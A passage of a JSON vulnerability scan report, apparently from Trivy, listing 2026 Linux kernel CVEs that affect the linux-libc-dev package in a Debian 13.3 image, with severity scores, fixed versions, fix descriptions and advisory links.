1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46279", "https://git.kernel.org/linus/6b1842775a460245e97d36d3a67d0cfba7c4ff79%20%287.1-rc1%29", "https://git.kernel.org/stable/c/6b1842775a460245e97d36d3a67d0cfba7c4ff79", "https://git.kernel.org/stable/c/b49dfabc38cad5e50af24f63edd124a10de3ebb6", "https://git.kernel.org/stable/c/d5b495ba9de0423ef39f8bd86729a885870c7efe", "https://lore.kernel.org/linux-cve-announce/2026060841-CVE-2026-46279-dc4a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46279", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://www.cve.org/CVERecord?id=CVE-2026-46279" ], "PublishedDate": "2026-06-08T17:16:45.53Z", "LastModifiedDate": "2026-07-08T14:59:41.053Z" }, { "VulnerabilityID": "CVE-2026-46285", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46285", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:386137f044ce834a8986e31aa9138e1bb1daba692a5bb5996f6123f7ab3fc1d7", "Title": "kernel: mtd: docg3: fix use-after-free in docg3_release()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: docg3: fix use-after-free in docg3_release()\n\nIn docg3_release(), the docg3 pointer is obtained from\ncascade-\u003efloors[0]-\u003epriv before the loop that calls\ndoc_release_device() on each floor. doc_release_device() frees the\ndocg3 struct via kfree(docg3) at line 1881. After the loop,\ndocg3-\u003ecascade-\u003ebch dereferences the already-freed pointer.\n\nFix this by accessing cascade-\u003ebch directly, which is equivalent\nsince docg3-\u003ecascade points back to the same cascade struct, and\nis already available as a local variable. This also removes the\nnow-unused docg3 local variable.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46285", "https://git.kernel.org/linus/ca19808bc6fac7e29420d8508df569b346b3e339%20%287.1-rc1%29", "https://git.kernel.org/stable/c/16f6588a3b7a2a20d10ad9b766be74c60ba347cc", "https://git.kernel.org/stable/c/2bf706fe7831b319f23a85b9728f961cfed40c3e", "https://git.kernel.org/stable/c/8408655ec8344511667b61d8257dc59c80ee3391", "https://git.kernel.org/stable/c/ca19808bc6fac7e29420d8508df569b346b3e339", "https://git.kernel.org/stable/c/d26f8c361f751c188b7ebaf8189aa0258968fd98", "https://git.kernel.org/stable/c/d49628d63d4e6bbc8a1621afb88e5fc901611bee", "https://git.kernel.org/stable/c/d89044889ecd11b0c2f86663597246e9bdd25679", "https://git.kernel.org/stable/c/f5d2ed4ed47d3906e2495a3537a48b127f497a17", "https://lore.kernel.org/linux-cve-announce/2026060843-CVE-2026-46285-0239@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46285", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46285" ], "PublishedDate": "2026-06-08T17:16:46.347Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46293", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46293", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:238d22c5a57f6263067bde48e2b096deddc6b972dc0abc2a7e3d1ccd75c2fd15", "Title": "kernel: clk: microchip: mpfs-ccc: fix out of bounds access during output registration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: microchip: mpfs-ccc: fix out of bounds access during output registration\n\nUBSAN reported an out of bounds access during registration of the last\ntwo outputs. This out of bounds access occurs because space is only\nallocated in the hws array for two PLLs and the four output dividers\nthat each has, but the defined IDs contain two DLLS and their two\noutputs each, which are not supported by the driver. The ID order is\nPLLs -\u003e DLLs -\u003e PLL outputs -\u003e DLL outputs. Decrement the PLL output IDs\nby two while adding them to the array to avoid the problem.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46293", "https://git.kernel.org/linus/2f7ae8ab6aa73daaf080d5332110357c29df9c36%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2f7ae8ab6aa73daaf080d5332110357c29df9c36", "https://git.kernel.org/stable/c/47bc7a03449c39805bc2665d3e57c73195d5bcf8", "https://git.kernel.org/stable/c/9ed9b580a814773482c0a4f1be045636e68cc109", "https://git.kernel.org/stable/c/a0780aeea166a7cf4706c45af4cadbb2a43a1fc9", "https://git.kernel.org/stable/c/dbfcb09656cb30439577325c9dea2250203c2e3c", "https://git.kernel.org/stable/c/f24efd415455b98a1f1cfc6071fe6fde71986706", "https://lore.kernel.org/linux-cve-announce/2026060857-CVE-2026-46293-b59c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46293", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46293" ], "PublishedDate": "2026-06-08T17:16:47.63Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46294", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5b81ce5676dfbdf4e197eef3caa8fe9162c7792bdf6a47bf5a150fb228fc9e23", "Title": "kernel: dm: fix a buffer overflow in ioctl processing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: fix a buffer overflow in ioctl processing\n\nTony Asleson (using Claude) found a buffer overflow in dm-ioctl in the\nfunction retrieve_status:\n\n1. The code in retrieve_status checks that the output string fits into\n the output buffer and writes the output string there\n2. Then, the code aligns the \"outptr\" variable to the next 8-byte\n boundary:\n\toutptr = align_ptr(outptr);\n3. The alignment doesn't check overflow, so outptr could point past the\n buffer end\n4. The \"for\" loop is iterated again, it executes:\n\tremaining = len - (outptr - outbuf);\n5. If \"outptr\" points past \"outbuf + len\", the arithmetics wraps around\n and the variable \"remaining\" contains unusually high number\n6. With \"remaining\" being high, the code writes more data past the end of\n the buffer\n\nLuckily, this bug has no security implications because:\n1. Only root can issue device mapper ioctls\n2. The commonly used libraries that communicate with device mapper\n (libdevmapper and devicemapper-rs) use buffer size that is aligned to\n 8 bytes - thus, \"outptr = align_ptr(outptr)\" can't overshoot the input\n buffer and the bug can't happen accidentally", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46294", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/2fa49cc884f6496a915c35621ba4da35649bf159%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2fa49cc884f6496a915c35621ba4da35649bf159", "https://git.kernel.org/stable/c/448ee8fb79c26a26599ffa4b2adeb4322d3d3d8c", "https://git.kernel.org/stable/c/526ff9126a0ae087b65726e1faf31114c718020d", "https://git.kernel.org/stable/c/5af6a879e915ae7bcd83695c316ebb32e1c61bc2", "https://git.kernel.org/stable/c/8daa6c708ef524089ae43f2aed9190acb26d7df8", "https://git.kernel.org/stable/c/c8c5311237448f6ffeecc9aec2362e3692623668", "https://git.kernel.org/stable/c/d271631023cbe1cbe7c31a0275ab797883be6e0a", "https://git.kernel.org/stable/c/f0b0b09d9840838ae77ccdd6a62de0daef4e6e0a", "https://linux.oracle.com/cve/CVE-2026-46294.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026060857-CVE-2026-46294-dcc8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46294", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46294" ], "PublishedDate": "2026-06-08T17:16:47.757Z", "LastModifiedDate": "2026-11-06T17:17:54.643Z" }, { "VulnerabilityID": "CVE-2026-46300", "VendorIDs": [ "DSA-6295-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46300", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ae107aeb1a0de80fa7ba1a5f4a166d144febb66e61acc78fa45b08a99ceefeb", "Title": "kernel: \"Fragnesia\" is a variant of Dirty Frag vulnerability in the ESP/XFRM leading to Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: preserve shared-frag marker during coalescing\n\nskb_try_coalesce() can attach paged frags from @from to @to. If @from\nhas SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same\nexternally-owned or page-cache-backed frags, but the shared-frag marker\nis currently lost.\n\nThat breaks the invariant relied on by later in-place writers. In\nparticular, ESP input checks skb_has_shared_frag() before deciding\nwhether an uncloned nonlinear skb can skip skb_cow_data(). If TCP\nreceive coalescing has moved shared frags into an unmarked skb, ESP can\nsee skb_has_shared_frag() as false and decrypt in place over page-cache\nbacked frags.\n\nPropagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged\nfrags. The tailroom copy path does not need the marker because it copies\nbytes into @to's linear data rather than transferring frag descriptors.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-456", "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "http://www.openwall.com/lists/oss-security/2026/05/13/5", "http://www.openwall.com/lists/oss-security/2026/05/21/11", "http://www.openwall.com/lists/oss-security/2026/05/21/12", "http://www.openwall.com/lists/oss-security/2026/05/21/13", "https://access.redhat.com/errata/RHBA-2026:20032", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23240", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/security/cve/CVE-2026-46300", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-A009.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f84eca5817390257cef78013d0112481c503b4a3", "https://git.kernel.org/stable/c/2f2b16022a2e10ca7bccfb98db5ed2ec0f72641c", "https://git.kernel.org/stable/c/3599e6b3cc1ada96883d496a50a210d3afbb6987", "https://git.kernel.org/stable/c/3884358a9286b17f389a72b1426fc4547c23c111", "https://git.kernel.org/stable/c/3bd9e113d50034db99d7ef69fd8e5242d15e414a", "https://git.kernel.org/stable/c/760e1addc27ba1a7beb4a0a7e8b3e9ec49e7a34e", "https://git.kernel.org/stable/c/78bf6b6bb19541d19fbda6242e7cfe2c682763c0", "https://git.kernel.org/stable/c/9d3e5fd19fe1063bf607219e8562fbd567b8e8d5", "https://git.kernel.org/stable/c/f84eca5817390257cef78013d0112481c503b4a3", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.1/BRSA-wvbenfkzmsgy.toml", "https://github.com/v12-security/pocs/tree/main/fragnesia", "https://linux.oracle.com/cve/CVE-2026-46300.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/all/agRfuVOeMI5pbHhY@v4bel/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46300", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46300.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-46300", "https://www.cve.org/CVERecord?id=CVE-2026-46300", "https://www.openwall.com/lists/oss-security/2026/05/21/11" ], "PublishedDate": "2026-05-23T12:17:02.66Z", "LastModifiedDate": "2026-10-29T17:30:34.06Z" }, { "VulnerabilityID": "CVE-2026-46301", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46301", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22b898e3daf9674ff9c283ca587852d2767299c02d8554c07aced5790917761b", "Title": "kernel: spi: topcliff-pch: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: topcliff-pch: fix use-after-free on unbind\n\nGive the driver a chance to flush its queue before releasing the DMA\nbuffers on driver unbind", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46301", "https://git.kernel.org/linus/9d72732fe70c11424bc90ed466c7ccfa58b42a9a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0e8e57f9737ea257634db1d152fc430a0788a3e1", "https://git.kernel.org/stable/c/36e58c436d2c2a797800427dc04d74ffd8b6ce1c", "https://git.kernel.org/stable/c/43334836b907adc21eab3079d2e6b26754468786", "https://git.kernel.org/stable/c/4ca90deeca1c7dd72c1c380ba8143565516def2d", "https://git.kernel.org/stable/c/8822980668c96b5aa251c1e2daec1873262b8f3f", "https://git.kernel.org/stable/c/9d72732fe70c11424bc90ed466c7ccfa58b42a9a", "https://git.kernel.org/stable/c/d50ef3553acbacce6f2843304d41d06dca358bb6", "https://git.kernel.org/stable/c/d79e92161b65832e0b8cad5f3d84d17e5cd7a970", "https://lore.kernel.org/linux-cve-announce/2026060859-CVE-2026-46301-5988@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46301", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46301" ], "PublishedDate": "2026-06-08T17:16:48.56Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46316", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46316", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bfa84cbeaf9f502b7af79e135580b99570f57630ecf0e54cad9ecb753b9ada23", "Title": "kernel: KVM: arm64: 